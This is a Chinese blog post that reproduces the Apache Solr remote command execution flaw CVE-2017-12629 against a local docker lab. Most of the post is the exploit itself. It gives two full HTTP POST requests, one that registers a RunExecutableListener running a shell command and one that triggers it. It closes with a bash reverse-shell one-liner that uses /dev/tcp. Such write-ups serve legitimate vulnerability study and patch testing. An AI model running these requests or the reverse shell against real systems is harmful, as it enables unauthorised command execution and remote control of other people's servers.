首页 > 其他分享 >Apache Solr 远程命令执行漏洞复现(CVE-2017-12629)

Apache Solr 远程命令执行漏洞复现(CVE-2017-12629)

时间:2025-01-01 11:28:40浏览次数:7  
标签:5.0 CVE ip 漏洞 Solr Apache 12629 solr

一、漏洞介绍

        Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

二、影响版本

        Apache Solr 5.5.07.0.1版本

三、漏洞环境

        命令执行成功后,需要等待一会,之后访问http://your-ip:8983/即可查看到Apache solr的管理页面,无需登录。

四、漏洞复现

首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158
​
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

然后进行update操作,触发刚才添加的listener:

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
​
[{"id":"test"}]

执行docker compose exec solr bash进入容器,可见/tmp/success已成功创建:

反弹shell:bash -i >& /dev/tcp/目标ip/port 0>&1

标签:5.0,CVE,ip,漏洞,Solr,Apache,12629,solr
From: https://blog.csdn.net/kp00000/article/details/144851785

相关文章

  • Cleo 远程代码执行漏洞复现(CVE-2024-50623)(附脚本)
    0x01产品描述:        ‌Cleo‌是一款专为Z世代设计的AI理财小助手,自2016年成立以来,已经实现了1.5亿美元的年经常性收入。它不仅帮助用户追踪开销和存款目标,还通过数据分析提供深入的理财建议和个性化的财务指导。Cleo的AI驱动界面可以根据用户的行为进行调整,帮助用户......
  • Apache Hive常见问题
    入门问题什么是ApacheHive?解释Hive的用途。Hive作为基于Hadoop的数据仓库工具是如何工作的?与传统关系型数据库相比,使用Hive有什么优势?Hive和关系型数据库管理系统(RDBMS)之间的区别是什么?讨论诸如数据存储、模式灵活性和性能等关键区别。解释Hive的架构。Hive架构的主......
  • Mac自带的Apache服务器默认首页在哪里
    Mac自带的Apache服务器默认首页在哪里如果通过浏览器访问http://localhost/显示“Itworks!”,说明你的mac上运行了一个HTTP服务器,通常是macOS自带的Apache服务器(httpd)。以下是定位其安装位置和配置文件的方法:1.检查Apache是否运行在终端中运行以下命令,确认Ap......
  • 【笔记】在虚拟机中通过apache2给一个主机上配置多个web服务器
    (配置出来的web服务器又叫虚拟主机……)下载apache2sudoaptupdatesudoaptinstallapache2(一)ip相同web端口不同的web服务器进入/var/www/html创建站点一和站点二的目录文件(目录文件名自定义哈)sudomkdirweb1web2并进入其中分别创建一个index.htmlps:/var/w......
  • apache和nginx有什么区别?
    Apache和Nginx在前端开发中的主要区别体现在性能、资源消耗、并发处理能力、静态文件处理、配置简洁性、以及模块化和扩展性等多个方面。以下是详细的对比分析:性能和资源消耗:Nginx是一个轻量级的Web服务器,采用C语言编写,相同的Web服务下,Nginx会占用更少的内存及资源。Apache......
  • 用Apache Doris实现实时向量存储与查询
    文章目录概要整体架构流程技术名词解释技术细节小结概要提示:这里可以添加技术概要例如:openAI的GPT大模型的发展历程。整体架构流程提示:这里可以添加技术整体架构例如:在语言模型中,编码器和解码器都是由一个个的Transformer组件拼接在一起形成的。技术......
  • 【环境搭建】Apache Solr 8.8.0 本地部署搭建
    ......
  • CVE-2024-11477:7-Zip 中的严重缺陷可让黑客控制
    7-Zip是一款完全免费而且开源的压缩软件,相比其他软件有更高的压缩比而且相对于WinRAR不会消耗大量资源。7-Zip文件压缩工具中发现了一个漏洞,攻击者可以通过特制的存档远程执行恶意代码。为了解决这个问题,开发人员发布了一个更新,但必须手动安装,因为该程序不支持自动更......
  • Oracle WebLogic Server反序列化漏洞(CVE-2024-21216)
    免责声明请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。一、简介WebLogic是一款由BEA系统公司开发的JavaEE应用服务器,现由Oracle......
  • Goby 漏洞发布|CVE-2024-9047 WordPress File Upload 插件 wfu_file_downloader.php 任
    漏洞名称:CVE-2024-9047WordPressFileUpload插件wfu_file_downloader.php任意文件读取漏洞EnglishName:CVE-2024-9047WordPressFileUploadPluginwfu_file_downloader.phpArbitraryFileReadVulnerabilitCVSScore:6.8漏洞描述:WordPressFileUpload插件是一款Wo......